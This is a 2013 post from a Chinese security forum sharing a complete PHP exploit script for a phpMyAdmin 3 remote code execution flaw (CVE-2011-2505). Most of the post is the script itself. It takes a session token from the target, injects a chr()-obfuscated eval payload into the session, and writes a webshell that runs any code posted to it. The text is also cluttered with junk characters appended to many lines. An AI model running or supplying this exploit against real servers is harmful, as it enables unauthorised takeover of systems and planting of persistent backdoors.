找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2382|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。7 s$ C5 J) G# f+ m( ~& f

; S) y) ]: S% o/ h昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
2 C9 `# a6 G! _0 k0 b0 T* {, l- f
: R  L  ?' W0 o首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:, }/ W) i* h* q7 ?: O6 z
一是session.auto_start = 1;
  z: g$ `# V, k/ [2 l二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。% z$ @4 v8 G8 h" }- i* q  |& m6 g
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
# D# O7 z1 {* ~. a
( W/ b+ }6 B4 N1 u6 V在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
- V& i+ h/ q' J4 u$ A
+ L; w% {& G' j  j4 e于是写了这个php版本的exp,代码如下:' }$ J( z5 I2 p+ E
2 a6 j7 `2 Q& E2 |( l8 o
#!/usr/bin/php' K  P$ I# O; y
<?php
# \9 ?- O) S8 K. u0 _4 hprint_r('
: [" l) l- C' w, ^+---------------------------------------------------------------------------+
4 U1 u8 j8 T" U, Q: y$ Bpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]4 j5 M- t+ W: y. D- [
by oldjun(www.oldjun.com)& z. {; P! R% b: ~) t8 h7 u
welcome to www.t00ls.net$ [5 Q7 k# A# |- C) o- h
mail: oldjun@gmail.com; T7 m* |2 y1 d' J$ V
Assigned CVE id: CVE-2011-2505
" C; i' |& Y6 m/ U) R* b) V6 ^+---------------------------------------------------------------------------+/ Z- B# }9 y% g1 b& W8 H, N
');
; e! L5 ~2 @, p9 }' A/ Z
5 s. `; C6 q1 c& @9 S. B) j/**' Z1 j. a) |3 p8 ~# s- [; `
* working when the directory:"config" exists and is writeable.
/ E& |3 v6 q; }+ i/ r, R1 v$ s**/  E( t4 h' P) y3 f& ^
9 ~7 P7 ^+ v8 q* ~% X, ?
if ($argc < 3) {( T! K7 D' ^$ T1 O% N! x' J
    print_r('
3 ]9 K3 @  ?9 T; @1 P" C5 _+---------------------------------------------------------------------------+
. |7 ~$ w4 ~7 [# \/ CUsage: php '.$argv[0].' host path% y! \9 t9 p* W! ~6 V, e
host:      target server (ip/hostname)2 m' L) \, H8 x
path:      path to pma3
' p# k5 j1 ~5 [, @9 UExample:& H% i1 l- p6 S1 V* O! l4 W4 l4 q
php '.$argv[0].' localhost /pma/
5 o4 G( d  ^' l+---------------------------------------------------------------------------+$ b: t6 b: c4 h0 b# z7 _0 z/ B+ N( W: y0 G
');
1 f4 }# R( B" Z8 H    exit;- @, [; F2 s- n- u7 m# s& h/ S
}8 d; o7 O5 J$ G  a" A! U9 X
, X  D( P" P4 c! t) m+ e
$host = $argv[1];' ]* L- W  S1 V% c* n1 d
$path = $argv[2];# _3 F. B+ I- f# N( [! X/ u
" ?: ?1 g6 G* O  n1 A" `- g2 X
/**
8 M8 \8 n3 o' I6 _! i+ r9 w2 V' x * Try to determine if the directory:"config" exists
9 M; y9 q3 q- C5 P/ [( U" e9 {**/  R" {' M2 V1 e
echo "[+] Try to determine if the directory:config exists....\n";$ I) g, U4 S. C: Q' {* X0 s2 [' _
$returnstr=php_request('config/');
: }5 z. }3 r* s$ \/ B7 `' e/ N/ Qif(strpos($returnstr,'404')){3 d- u' J) E6 _) W  p, c- r
    exit("[-] Exploit Failed! The directory:config do not exists!\n");/ i; a9 M1 j$ ]+ Y
}
8 O+ ?+ `9 C$ m8 a& z8 Z
. b7 J9 a$ ^  M  P' y# w# j/**
* z2 r6 F$ z, C7 m3 p' } * Try to get token and sessionid
0 R' j( [2 y' ~% A  ~* P! m**/
* L1 `9 T5 a& f9 Iecho "[+] Try to get token and sessionid....\n";
: D6 Q. a1 W$ S* A5 |$result=php_request('index.php');2 L+ C- d5 e8 V1 J5 z
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);- D3 P, n- H4 G) d8 g( r1 [/ ]
$token=$resp[3];4 }  h* s2 r6 T" j8 n/ A' x/ V+ H
$sessionid=$resp[1];9 i3 t7 z" B3 V6 [4 w' [6 M
if($token && $sessionid){! g: t$ Q, ?/ @, w! [$ c
    echo "[+] tokentoken\n";" Q3 V! B; ?/ ^! T4 s- L1 m
    echo "[+] Session IDsessionid\n";
; j1 Q/ A% ^3 g8 x}else{: D$ @1 j* }" t- K7 T4 u2 q
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");6 T) x2 U$ p+ M( l9 r
}
3 k  j2 t9 W6 w# U" C5 E% w1 m& w5 B: J" Z! F
/**/ @# c2 X6 q0 |+ Z5 t' d1 M
* Try to insert shell into session7 O' k2 j9 {& X% Y1 \
**/3 ^% ~, P! B* G0 e/ [
echo "[+] Try to insert shell into session....\n";7 u6 ~- Y) _- |# H
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here./ g  W# u4 a: _( X

5 L6 d" z4 j% s/ E/**
0 F$ i  U+ b5 L  J0 K: _4 o * Try to create webshell3 P6 h+ r6 E4 d% e2 Z
**/
. a: I5 I9 T/ A* x" Lecho "[+] Try to create webshell....\n";% r& W$ H# F! [2 q5 V/ a
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
# U8 d4 v( }) D7 G" @% o/**
4 i; Q# ~1 T4 c- w7 M1 t( | * Try to check if the webshell was created successfully
5 f: _- l& j* K6 O& P8 b. O**/' i! V% N2 W  ~5 p/ d, `) u% _% b
echo "[+] Try to check if the webshell was created successfully....\n";" i1 F: M' O5 {' C  b4 b5 U
$content=php_request('config/config.inc.php');" Z/ c7 L+ o; _. r
if(strpos($content,'t00ls')){
$ U. N: p% ^: E" d" z, [) L( w1 R: x    echo "[+] Congratulations! Expoilt successfully....\n";
, G( a+ ^4 T  u2 I6 b! R6 i8 r* @    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
9 L6 V# K( O6 g3 y}else{
& ]% m. Y* z' b0 Y% `/ I    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 B0 c2 c) w* J& L1 T  @/ V# @( T, ]}" q, M, d7 l+ ?1 T4 A5 e
5 Q/ V$ w# _: ?5 Q& {6 ?+ u: B
function php_request($url,$data='',$cookie=''){0 W1 [* }8 \, ]' k4 \) j; o0 d
    global  $host, $path;4 A2 C' J+ U/ K) k
   
7 e$ h: A* |( _- \1 [  U( K    $method=$data?'POST':'GET';
5 j2 X$ s5 S$ i  X8 Y& u" G8 X7 u. v& U    6 I6 D# y6 [  I
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";) a/ j! D9 |. c1 D! Y
    $packet .= "Accept: */*\r\n";% s4 c; R! B6 ]4 h0 m' M: c/ b
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
# e9 P* M: s! v9 Y  O1 b- z    $packet .= "Host: $host\r\n";( Z6 q) L" B( R: R" u
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
8 I/ L3 f( L8 l+ q' D0 D    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";$ H$ T( ~2 F8 Q, r5 B
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
3 ?! _& j% q) b/ V3 t# {    $packet .= "Connection: Close\r\n\r\n";  T( Y. L" y/ {* _8 T
    $packet .= $data?$data:"";
( Z6 }' C0 K, ~. \0 X4 o! M) F& g- }- Q7 y+ U, t" `& ~
    $fp = fsockopen(gethostbyname($host), 80);
0 |. Y; j( v+ K/ G8 o; N    if (!$fp) {) Y9 x4 @6 e5 B% Q* B" f, C2 R) }5 A
    echo 'No response from '.$host; die;3 F1 J: G( T$ N( c( C4 d0 _
    }, d& f& |! x+ h0 U/ F3 _
    fputs($fp, $packet);, V0 a. n- U& E3 p
8 h* U- B9 N+ I' i0 ?( Z
    $resp = '';
' V& J- o0 x6 `  M2 C1 G' n
: D+ x) ]2 j/ ~1 U    while ($fp && !feof($fp))
/ M. c: k# X4 Q, M* M        $resp .= fread($fp, 1024);+ B6 s, q8 P8 X* y

* m' r7 u7 ?- X: T) ?    return $resp;3 H! H" p; K5 W
}# l3 w3 ?! c) _8 m8 n; L0 ?% t# d
    8 P) L$ W* m, a
?> 8 j+ Y1 f/ V/ _! f
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表